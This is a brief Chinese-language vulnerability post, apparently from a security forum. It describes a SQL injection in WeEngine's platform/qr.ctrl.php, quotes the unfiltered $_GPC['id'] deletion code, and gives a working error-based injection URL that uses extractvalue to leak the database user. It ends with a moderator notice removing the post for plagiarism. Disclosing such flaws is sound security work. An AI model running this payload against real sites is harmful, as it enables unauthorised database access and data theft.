漏洞文件：web/source/platform/qr.ctrl.php
代码行：204左右
$id = $_GPC['id'];
$b = pdo_delete('qrcode_stat',array('id' =>$id, 'uniacid' => $_W['uniacid']));
if ($b){
message('删除成功',url('platform/qr/display'),'success');
}else{
message('删除失败',url('platform/qr/display'),'error');
}
}
$_GPC[‘id’]未过滤
构造payload:
http://localhost/we7/web/index.php
?c=platform
&a=qr
&do=delsata&id[0]=1\&id[1]=)/**/and/**/extractvalue(1,/**/concat(0x5c,/**/(select/**/user())))--+
测试截图:
====================================
文章涉嫌抄袭，直接删除ID处理，纳入九零黑名单。
管理05
|
|